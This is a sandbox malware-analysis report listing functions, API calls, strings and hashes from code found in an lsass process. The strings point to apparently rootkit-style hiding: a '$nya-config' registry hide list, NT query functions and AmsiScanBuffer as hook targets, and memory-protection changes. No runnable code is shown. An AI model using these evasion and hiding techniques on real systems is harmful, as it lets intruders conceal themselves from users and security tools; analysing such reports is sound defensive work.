$nya-, xrefs: 0000017D2DD52393

Memory Dump Source

Source File: 00000010.00000002.3382384800.0000017D2DD51000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000017D2DD50000, based on PE: true

Associated: 00000010.00000002.3381814822.0000017D2DD50000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3383134005.0000017D2DD65000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3383844157.0000017D2DD70000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3384236690.0000017D2DD72000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3384560213.0000017D2DD79000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_17d2dd50000_lsass.jbxd

Similarity

API ID: Heap$Process$AllocFreeInformationQuerySystem
String ID: $nya-$S
API String ID: 722747020-3492252248
Opcode ID: 4ac77b2c6d0e63e88a47bc1c42b4b05fc6ca31a13af142bc6dc0eee490c53e66
Instruction ID: 850f05bd11e511c281c5463248047073372b965f77c52c85919e52c47a673e3b
Opcode Fuzzy Hash: 4ac77b2c6d0e63e88a47bc1c42b4b05fc6ca31a13af142bc6dc0eee490c53e66
Instruction Fuzzy Hash: ED519032A18F6886F760CB65A4807ED6BB8FB65788F08C415DE4D56B46DBB9C8C6C340

Function 0000017D2DD51E74 Relevance: 43.8, APIs: 8, Strings: 17, Instructions: 95
memorythreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 0000017D2DD51E7F

Part of subcall function 0000017D2DD522A8: GetModuleHandleA.KERNEL32(?,?,?,0000017D2DD51EB1), ref: 0000017D2DD522C0
Part of subcall function 0000017D2DD522A8: GetProcAddress.KERNEL32(?,?,?,0000017D2DD51EB1), ref: 0000017D2DD522D1

CreateThread.KERNELBASE ref: 0000017D2DD52043
TlsAlloc.KERNEL32 ref: 0000017D2DD52049
TlsAlloc.KERNEL32 ref: 0000017D2DD52055
TlsAlloc.KERNEL32 ref: 0000017D2DD52061
TlsAlloc.KERNEL32 ref: 0000017D2DD5206D
TlsAlloc.KERNEL32 ref: 0000017D2DD52079
TlsAlloc.KERNEL32 ref: 0000017D2DD52085

Strings

PdhGetFormattedCounterArrayW, xrefs: 0000017D2DD51FF1
AmsiScanBuffer, xrefs: 0000017D2DD52012
NtQueryDirectoryFileEx, xrefs: 0000017D2DD51EFC
pdh.dll, xrefs: 0000017D2DD51FD7, 0000017D2DD51FF8
sechost.dll, xrefs: 0000017D2DD51F99
NtResumeThread, xrefs: 0000017D2DD51EC2
EnumServicesStatusExW, xrefs: 0000017D2DD51F71, 0000017D2DD51F92
amsi.dll, xrefs: 0000017D2DD52019
ntdll.dll, xrefs: 0000017D2DD51E8D
NtQuerySystemInformation, xrefs: 0000017D2DD51EA5
NtEnumerateKey, xrefs: 0000017D2DD51F19
EnumServiceGroupW, xrefs: 0000017D2DD51F50
PdhGetRawCounterArrayW, xrefs: 0000017D2DD51FD0
NtDeviceIoControlFile, xrefs: 0000017D2DD51FB6
NtQueryDirectoryFile, xrefs: 0000017D2DD51EDF
NtEnumerateValueKey, xrefs: 0000017D2DD51F36
advapi32.dll, xrefs: 0000017D2DD51F57, 0000017D2DD51F78

Memory Dump Source

Source File: 00000010.00000002.3382384800.0000017D2DD51000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000017D2DD50000, based on PE: true

Associated: 00000010.00000002.3381814822.0000017D2DD50000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3383134005.0000017D2DD65000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3383844157.0000017D2DD70000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3384236690.0000017D2DD72000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3384560213.0000017D2DD79000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_17d2dd50000_lsass.jbxd

Similarity

API ID: Alloc$Thread$AddressCreateCurrentHandleModuleProc
String ID: AmsiScanBuffer$EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$PdhGetFormattedCounterArrayW$PdhGetRawCounterArrayW$advapi32.dll$amsi.dll$ntdll.dll$pdh.dll$sechost.dll
API String ID: 1735320900-4225371247
Opcode ID: 03b1670190296a985cca1de1054792f3360a7fe3fa664d1b18e69e842768ce50
Instruction ID: 96f4f97e7589e417bfd216c0fa725ebf6ad4169998ba69a4a526b571fa602114
Opcode Fuzzy Hash: 03b1670190296a985cca1de1054792f3360a7fe3fa664d1b18e69e842768ce50
Instruction Fuzzy Hash: AC5148B4518F8EA5FA00EBA9FC51BD46B30AF40744F889A53940D0656BDEB882DFC780

Function 0000017D2DD51E3C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 13
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 0000017D2DD51E47
GetProcAddress.KERNEL32 ref: 0000017D2DD51E57
SleepEx.KERNELBASE ref: 0000017D2DD51E67

Strings

AmsiScanBuffer, xrefs: 0000017D2DD51E50
amsi.dll, xrefs: 0000017D2DD51E40

Memory Dump Source

Source File: 00000010.00000002.3382384800.0000017D2DD51000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000017D2DD50000, based on PE: true

Associated: 00000010.00000002.3381814822.0000017D2DD50000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3383134005.0000017D2DD65000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3383844157.0000017D2DD70000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3384236690.0000017D2DD72000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3384560213.0000017D2DD79000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_17d2dd50000_lsass.jbxd

Similarity

API ID: AddressLibraryLoadProcSleep
String ID: AmsiScanBuffer$amsi.dll
API String ID: 188063004-3248079830
Opcode ID: 594064a6cd66e1c3961e71c37a52b1967edf4951384bf957dace5d3e1a2af7c1
Instruction ID: e07f860e85c6e67f3043271f4cb48da2854f5ab70fe7cc9399e9ad5156588ed3
Opcode Fuzzy Hash: 594064a6cd66e1c3961e71c37a52b1967edf4951384bf957dace5d3e1a2af7c1
Instruction Fuzzy Hash: 0CD09E30659F48D5FA086F55FC543D43271BFA4B41FCC4415C60E012A6DE6C85DB83C0

Function 0000017D2DD53A1C Relevance: 4.5, APIs: 3, Instructions: 39
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 0000017D2DD53A35
PathFindFileNameW.SHLWAPI ref: 0000017D2DD53A44

Part of subcall function 0000017D2DD53F88: StrCmpNIW.SHLWAPI(?,?,?,0000017D2DD5272F), ref: 0000017D2DD53FA0

Part of subcall function 0000017D2DD53EC8: GetModuleHandleW.KERNEL32(?,?,?,?,?,0000017D2DD53A5B), ref: 0000017D2DD53EDB
Part of subcall function 0000017D2DD53EC8: GetCurrentProcess.KERNEL32(?,?,?,?,?,0000017D2DD53A5B), ref: 0000017D2DD53F0E
Part of subcall function 0000017D2DD53EC8: VirtualProtectEx.KERNEL32(?,?,?,?,?,0000017D2DD53A5B), ref: 0000017D2DD53F2E
Part of subcall function 0000017D2DD53EC8: GetCurrentProcess.KERNEL32(?,?,?,?,?,0000017D2DD53A5B), ref: 0000017D2DD53F47
Part of subcall function 0000017D2DD53EC8: VirtualProtectEx.KERNEL32(?,?,?,?,?,0000017D2DD53A5B), ref: 0000017D2DD53F68

CreateThread.KERNELBASE ref: 0000017D2DD53A8B

Part of subcall function 0000017D2DD51E74: GetCurrentThread.KERNEL32 ref: 0000017D2DD51E7F
Part of subcall function 0000017D2DD51E74: CreateThread.KERNELBASE ref: 0000017D2DD52043
Part of subcall function 0000017D2DD51E74: TlsAlloc.KERNEL32 ref: 0000017D2DD52049
Part of subcall function 0000017D2DD51E74: TlsAlloc.KERNEL32 ref: 0000017D2DD52055
Part of subcall function 0000017D2DD51E74: TlsAlloc.KERNEL32 ref: 0000017D2DD52061
Part of subcall function 0000017D2DD51E74: TlsAlloc.KERNEL32 ref: 0000017D2DD5206D
Part of subcall function 0000017D2DD51E74: TlsAlloc.KERNEL32 ref: 0000017D2DD52079
Part of subcall function 0000017D2DD51E74: TlsAlloc.KERNEL32 ref: 0000017D2DD52085

Memory Dump Source

Source File: 00000010.00000002.3382384800.0000017D2DD51000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000017D2DD50000, based on PE: true

Associated: 00000010.00000002.3381814822.0000017D2DD50000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3383134005.0000017D2DD65000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3383844157.0000017D2DD70000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3384236690.0000017D2DD72000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3384560213.0000017D2DD79000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_17d2dd50000_lsass.jbxd

Similarity

API ID: Alloc$CurrentThread$CreateFileModuleNameProcessProtectVirtual$FindHandlePath
String ID:
API String ID: 2779030803-0
Opcode ID: 6a579ca0c7c2c8c467e4d6158b23fada6777a03145598802ad2919fe2a24b2e1
Instruction ID: e2bbf7035cdc9e916597a18426b5085288f4986e6ebd83389e25a87e83549494
Opcode Fuzzy Hash: 6a579ca0c7c2c8c467e4d6158b23fada6777a03145598802ad2919fe2a24b2e1
Instruction Fuzzy Hash: 0C119E3161CF4983FB70A760B9493D962B0AF54345F4C0219958E811D7EFBEC4DB8640

Function 0000017D2DD22EBC Relevance: 1.7, APIs: 1, Instructions: 240libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE ref: 0000017D2DD2302E

Memory Dump Source

Source File: 00000010.00000003.1604607101.0000017D2DD20000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000017D2DD20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_3_17d2dd20000_lsass.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: da5dba7eb06952aa6345e7caa7b696f440210d15dc911575dfa97e0e60fe5b6d
Instruction ID: 6b752afb91a17aad29154e99fbe11468da530b570cc38a148516e43257cf4422
Opcode Fuzzy Hash: da5dba7eb06952aa6345e7caa7b696f440210d15dc911575dfa97e0e60fe5b6d
Instruction Fuzzy Hash: 6A912472B05B5887DB608F25E509BB9B3B1FB45B94F5880299E8D0778FDA38D883C710

Function 0000017D2DD51BC4 Relevance: 1.6, APIs: 1, Instructions: 68
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0000017D2DD51724: GetProcessHeap.KERNEL32 ref: 0000017D2DD5172F
Part of subcall function 0000017D2DD51724: HeapAlloc.KERNEL32 ref: 0000017D2DD5173E
Part of subcall function 0000017D2DD51724: RegOpenKeyExW.ADVAPI32 ref: 0000017D2DD517AE
Part of subcall function 0000017D2DD51724: RegOpenKeyExW.ADVAPI32 ref: 0000017D2DD517DB
Part of subcall function 0000017D2DD51724: RegCloseKey.ADVAPI32 ref: 0000017D2DD517F5
Part of subcall function 0000017D2DD51724: RegOpenKeyExW.ADVAPI32 ref: 0000017D2DD51815
Part of subcall function 0000017D2DD51724: RegCloseKey.ADVAPI32 ref: 0000017D2DD51830
Part of subcall function 0000017D2DD51724: RegOpenKeyExW.ADVAPI32 ref: 0000017D2DD51850
Part of subcall function 0000017D2DD51724: RegCloseKey.ADVAPI32 ref: 0000017D2DD5186B
Part of subcall function 0000017D2DD51724: RegOpenKeyExW.ADVAPI32 ref: 0000017D2DD5188B
Part of subcall function 0000017D2DD51724: RegCloseKey.ADVAPI32 ref: 0000017D2DD518A6
Part of subcall function 0000017D2DD51724: RegOpenKeyExW.ADVAPI32 ref: 0000017D2DD518C6

SleepEx.KERNELBASE ref: 0000017D2DD51BDF

Part of subcall function 0000017D2DD51724: RegCloseKey.ADVAPI32 ref: 0000017D2DD518E1
Part of subcall function 0000017D2DD51724: RegOpenKeyExW.ADVAPI32 ref: 0000017D2DD51901
Part of subcall function 0000017D2DD51724: RegCloseKey.ADVAPI32 ref: 0000017D2DD5191C
Part of subcall function 0000017D2DD51724: RegOpenKeyExW.ADVAPI32 ref: 0000017D2DD5193C
Part of subcall function 0000017D2DD51724: RegCloseKey.ADVAPI32 ref: 0000017D2DD51957
Part of subcall function 0000017D2DD51724: RegOpenKeyExW.ADVAPI32 ref: 0000017D2DD51977
Part of subcall function 0000017D2DD51724: RegCloseKey.ADVAPI32 ref: 0000017D2DD51992
Part of subcall function 0000017D2DD51724: RegCloseKey.ADVAPI32 ref: 0000017D2DD5199C

Memory Dump Source

Source File: 00000010.00000002.3382384800.0000017D2DD51000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000017D2DD50000, based on PE: true

Associated: 00000010.00000002.3381814822.0000017D2DD50000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3383134005.0000017D2DD65000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3383844157.0000017D2DD70000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3384236690.0000017D2DD72000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3384560213.0000017D2DD79000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_17d2dd50000_lsass.jbxd

Similarity

API ID: CloseOpen$Heap$AllocProcessSleep
String ID:
API String ID: 948135145-0
Opcode ID: 04a7d6bb1a63501d3af889adb59d0fd65c45e2a3bb55e477ac55990fbc3a1c41
Instruction ID: a513e6edbe1b9579d93716c2874b51edf92661d58ab9acfd5c96824e1f791f21
Opcode Fuzzy Hash: 04a7d6bb1a63501d3af889adb59d0fd65c45e2a3bb55e477ac55990fbc3a1c41
Instruction Fuzzy Hash: 4731DD75208F4981FB509B26FE413F9B3B4AF44BC0F1C58219E0E8769BDEA5D8D38215

Non-executed Functions

Function 0000017D2DD52FF0 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 256
stringlibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 0000017D2DD53094
lstrlenW.KERNEL32 ref: 0000017D2DD532BE

Part of subcall function 0000017D2DD51A30: OpenProcess.KERNEL32 ref: 0000017D2DD51A56
Part of subcall function 0000017D2DD51A30: K32GetModuleFileNameExW.KERNEL32 ref: 0000017D2DD51A74
Part of subcall function 0000017D2DD51A30: PathFindFileNameW.SHLWAPI ref: 0000017D2DD51A83
Part of subcall function 0000017D2DD51A30: lstrlenW.KERNEL32 ref: 0000017D2DD51A8F
Part of subcall function 0000017D2DD51A30: StrCpyW.SHLWAPI ref: 0000017D2DD51AA2
Part of subcall function 0000017D2DD51A30: CloseHandle.KERNEL32 ref: 0000017D2DD51AB0

GetProcAddress.KERNEL32 ref: 0000017D2DD530A9

Part of subcall function 0000017D2DD53F88: StrCmpNIW.SHLWAPI(?,?,?,0000017D2DD5272F), ref: 0000017D2DD53FA0

StrCmpNIW.SHLWAPI ref: 0000017D2DD530EC
lstrlenW.KERNEL32 ref: 0000017D2DD53214

Strings

\Device\Nsi, xrefs: 0000017D2DD530DF
NtQueryObject, xrefs: 0000017D2DD5309F
ntdll.dll, xrefs: 0000017D2DD5308D

Memory Dump Source

Source File: 00000010.00000002.3382384800.0000017D2DD51000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000017D2DD50000, based on PE: true

Associated: 00000010.00000002.3381814822.0000017D2DD50000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3383134005.0000017D2DD65000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3383844157.0000017D2DD70000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3384236690.0000017D2DD72000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3384560213.0000017D2DD79000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_17d2dd50000_lsass.jbxd

Similarity

API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 2119608203-3850299575
Opcode ID: 4d584b0e9fffbad4cc31b9baeef7d8a5c9f9b6ed13c09f6337f8d347bcf38d45
Instruction ID: f2f135d611cdf066e5d6a521eba2869d786744282965d2fc11769e0904ffb0c5
Opcode Fuzzy Hash: 4d584b0e9fffbad4cc31b9baeef7d8a5c9f9b6ed13c09f6337f8d347bcf38d45
Instruction Fuzzy Hash: D9B16C32218F9883EB658F65E500BE9A3B4FB45B84F485016EE8D53B96DEB5CDD2C340

Function 0000017D2DD584B0 Relevance: 10.6, APIs: 7, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 0000017D2DD584CC
RtlCaptureContext.NTDLL ref: 0000017D2DD584F9
RtlLookupFunctionEntry.NTDLL ref: 0000017D2DD58513
RtlVirtualUnwind.NTDLL ref: 0000017D2DD58554
IsDebuggerPresent.KERNEL32 ref: 0000017D2DD585A8
SetUnhandledExceptionFilter.KERNEL32 ref: 0000017D2DD585C5
UnhandledExceptionFilter.KERNEL32 ref: 0000017D2DD585D0

Memory Dump Source

Source File: 00000010.00000002.3382384800.0000017D2DD51000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000017D2DD50000, based on PE: true

Associated: 00000010.00000002.3381814822.0000017D2DD50000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3383134005.0000017D2DD65000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3383844157.0000017D2DD70000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3384236690.0000017D2DD72000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3384560213.0000017D2DD79000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_17d2dd50000_lsass.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 51ce79795580dd11982ca28bc6e50e7f34313ca15137cb51b6721156f23fd73c
Instruction ID: 743912c070fe1f327d28e93256d600cb52e0adf25c8753936ac792564c150e2a
Opcode Fuzzy Hash: 51ce79795580dd11982ca28bc6e50e7f34313ca15137cb51b6721156f23fd73c
Instruction Fuzzy Hash: 1A311972209F8486EB608F60F8407EE6375FB88744F48442ADB4E47B9ADF78C589C750

Function 0000017D2DD5CD80 Relevance: 9.1, APIs: 6, Instructions: 86COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 0000017D2DD5CE0B
RtlLookupFunctionEntry.NTDLL ref: 0000017D2DD5CE23
RtlVirtualUnwind.NTDLL ref: 0000017D2DD5CE5E
IsDebuggerPresent.KERNEL32 ref: 0000017D2DD5CE97
SetUnhandledExceptionFilter.KERNEL32 ref: 0000017D2DD5CEA1
UnhandledExceptionFilter.KERNEL32 ref: 0000017D2DD5CEAC

Memory Dump Source

Source File: 00000010.00000002.3382384800.0000017D2DD51000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000017D2DD50000, based on PE: true

Associated: 00000010.00000002.3381814822.0000017D2DD50000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3383134005.0000017D2DD65000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3383844157.0000017D2DD70000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3384236690.0000017D2DD72000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3384560213.0000017D2DD79000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_17d2dd50000_lsass.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 76c33bf84c009b7db417edaf83874ce51c27584cf70d0f0be3d694c1c6751581
Instruction ID: e05f22906aac1c5737550f033233ca4beb2db7fc8e70f9253c9fc50d3ade9d7f
Opcode Fuzzy Hash: 76c33bf84c009b7db417edaf83874ce51c27584cf70d0f0be3d694c1c6751581
Instruction Fuzzy Hash: 08415B36218F8486EB60CF25F8403DE73B4FB89794F580615EA9D46B9ADF78C196CB40

Function 0000017D2DD5DA18 Relevance: 6.2, APIs: 4, Instructions: 240fileCOMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32 ref: 0000017D2DD5DB99
FindNextFileW.KERNEL32 ref: 0000017D2DD5DCCF
FindClose.KERNEL32 ref: 0000017D2DD5DD0F
FindClose.KERNEL32 ref: 0000017D2DD5DD3B

Memory Dump Source

Source File: 00000010.00000002.3382384800.0000017D2DD51000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000017D2DD50000, based on PE: true

Associated: 00000010.00000002.3381814822.0000017D2DD50000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3383134005.0000017D2DD65000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3383844157.0000017D2DD70000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3384236690.0000017D2DD72000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3384560213.0000017D2DD79000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_17d2dd50000_lsass.jbxd

Similarity

API ID: Find$CloseFile$FirstNext
String ID:
API String ID: 1164774033-0
Opcode ID: 30129107364e07a24944f029efc6e57ddf7bba8b8a305cfb4bfa64c3d4dd41e4
Instruction ID: f51d33f7841fded307b15e8a4b62ad0d3aa425269e7a372565180428a9a7dba0
Opcode Fuzzy Hash: 30129107364e07a24944f029efc6e57ddf7bba8b8a305cfb4bfa64c3d4dd41e4
Instruction Fuzzy Hash: 99A1A532708B8989FB20DB75B8407EE6BB1EB45794F1C4115DA9D27A9ADAB8C4C3C710

Function 0000017D2DD51724 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 0000017D2DD5172F
HeapAlloc.KERNEL32 ref: 0000017D2DD5173E

Part of subcall function 0000017D2DD51264: GetProcessHeap.KERNEL32 ref: 0000017D2DD5126A
Part of subcall function 0000017D2DD51264: HeapAlloc.KERNEL32 ref: 0000017D2DD51279
Part of subcall function 0000017D2DD51264: GetProcessHeap.KERNEL32 ref: 0000017D2DD51293
Part of subcall function 0000017D2DD51264: HeapAlloc.KERNEL32 ref: 0000017D2DD512A4

Part of subcall function 0000017D2DD51000: GetProcessHeap.KERNEL32 ref: 0000017D2DD51006
Part of subcall function 0000017D2DD51000: HeapAlloc.KERNEL32 ref: 0000017D2DD51015
Part of subcall function 0000017D2DD51000: GetProcessHeap.KERNEL32 ref: 0000017D2DD51028
Part of subcall function 0000017D2DD51000: HeapAlloc.KERNEL32 ref: 0000017D2DD51037

RegOpenKeyExW.ADVAPI32 ref: 0000017D2DD517AE
RegOpenKeyExW.ADVAPI32 ref: 0000017D2DD517DB
RegCloseKey.ADVAPI32 ref: 0000017D2DD517F5
RegOpenKeyExW.ADVAPI32 ref: 0000017D2DD51815
RegCloseKey.ADVAPI32 ref: 0000017D2DD51830
RegOpenKeyExW.ADVAPI32 ref: 0000017D2DD51850
RegCloseKey.ADVAPI32 ref: 0000017D2DD5186B
RegOpenKeyExW.ADVAPI32 ref: 0000017D2DD5188B
RegCloseKey.ADVAPI32 ref: 0000017D2DD518A6
RegOpenKeyExW.ADVAPI32 ref: 0000017D2DD518C6
RegCloseKey.ADVAPI32 ref: 0000017D2DD518E1
RegOpenKeyExW.ADVAPI32 ref: 0000017D2DD51901
RegCloseKey.ADVAPI32 ref: 0000017D2DD5191C
RegOpenKeyExW.ADVAPI32 ref: 0000017D2DD5193C
RegCloseKey.ADVAPI32 ref: 0000017D2DD51957
RegOpenKeyExW.ADVAPI32 ref: 0000017D2DD51977
RegCloseKey.ADVAPI32 ref: 0000017D2DD51992
RegCloseKey.ADVAPI32 ref: 0000017D2DD5199C

Part of subcall function 0000017D2DD512B8: RegQueryInfoKeyW.ADVAPI32 ref: 0000017D2DD51315
Part of subcall function 0000017D2DD512B8: GetProcessHeap.KERNEL32 ref: 0000017D2DD51323
Part of subcall function 0000017D2DD512B8: HeapAlloc.KERNEL32 ref: 0000017D2DD51334
Part of subcall function 0000017D2DD512B8: RegEnumValueW.ADVAPI32 ref: 0000017D2DD51393
Part of subcall function 0000017D2DD512B8: GetProcessHeap.KERNEL32 ref: 0000017D2DD513DB
Part of subcall function 0000017D2DD512B8: HeapAlloc.KERNEL32 ref: 0000017D2DD513E9
Part of subcall function 0000017D2DD512B8: GetProcessHeap.KERNEL32 ref: 0000017D2DD51406
Part of subcall function 0000017D2DD512B8: HeapFree.KERNEL32 ref: 0000017D2DD51414
Part of subcall function 0000017D2DD512B8: lstrlenW.KERNEL32 ref: 0000017D2DD5141D
Part of subcall function 0000017D2DD512B8: GetProcessHeap.KERNEL32 ref: 0000017D2DD5142B
Part of subcall function 0000017D2DD512B8: HeapAlloc.KERNEL32 ref: 0000017D2DD51439

Strings

paths, xrefs: 0000017D2DD51884
tcp_remote, xrefs: 0000017D2DD51935
pid, xrefs: 0000017D2DD5180E
udp, xrefs: 0000017D2DD51970
process_names, xrefs: 0000017D2DD51849
SOFTWARE\$nya-config, xrefs: 0000017D2DD5178E
service_names, xrefs: 0000017D2DD518BF
tcp_local, xrefs: 0000017D2DD518FA
startup, xrefs: 0000017D2DD517D1

Memory Dump Source

Source File: 00000010.00000002.3382384800.0000017D2DD51000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000017D2DD50000, based on PE: true

Associated: 00000010.00000002.3381814822.0000017D2DD50000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3383134005.0000017D2DD65000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3383844157.0000017D2DD70000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3384236690.0000017D2DD72000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3384560213.0000017D2DD79000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_17d2dd50000_lsass.jbxd

Similarity

API ID: Heap$CloseOpenProcess$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\$nya-config$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 2135414181-3572789727
Opcode ID: b9204f2ea4f4db16e4783a971f3715691613b435cf091f5c94434eae8088fe12
Instruction ID: 6a5a73e90e15d5065503e619210b3abc3386d86c0bf07523f252400ee6381c03
Opcode Fuzzy Hash: b9204f2ea4f4db16e4783a971f3715691613b435cf091f5c94434eae8088fe12
Instruction Fuzzy Hash: F771E736218F5986EB209F66F8906D933B4FF84B88F481211DE4D57B6ADE78C4C6C780

Function 0000017D2DD512B8 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120
memoryregistrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 0000017D2DD51315
GetProcessHeap.KERNEL32 ref: 0000017D2DD51323
HeapAlloc.KERNEL32 ref: 0000017D2DD51334
RegEnumValueW.ADVAPI32 ref: 0000017D2DD51393

Part of subcall function 0000017D2DD51530: StrCmpIW.SHLWAPI ref: 0000017D2DD51561

GetProcessHeap.KERNEL32 ref: 0000017D2DD513DB
HeapAlloc.KERNEL32 ref: 0000017D2DD513E9
GetProcessHeap.KERNEL32 ref: 0000017D2DD51406
HeapFree.KERNEL32 ref: 0000017D2DD51414
lstrlenW.KERNEL32 ref: 0000017D2DD5141D
GetProcessHeap.KERNEL32 ref: 0000017D2DD5142B
HeapAlloc.KERNEL32 ref: 0000017D2DD51439
StrCpyW.SHLWAPI ref: 0000017D2DD5145B
GetProcessHeap.KERNEL32 ref: 0000017D2DD51472
HeapFree.KERNEL32 ref: 0000017D2DD51480

Strings

d, xrefs: 0000017D2DD51356

Memory Dump Source

Source File: 00000010.00000002.3382384800.0000017D2DD51000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000017D2DD50000, based on PE: true

Associated: 00000010.00000002.3381814822.0000017D2DD50000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3383134005.0000017D2DD65000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3383844157.0000017D2DD70000.00000004.00000001.00020000.00000000.sdmpDownload File
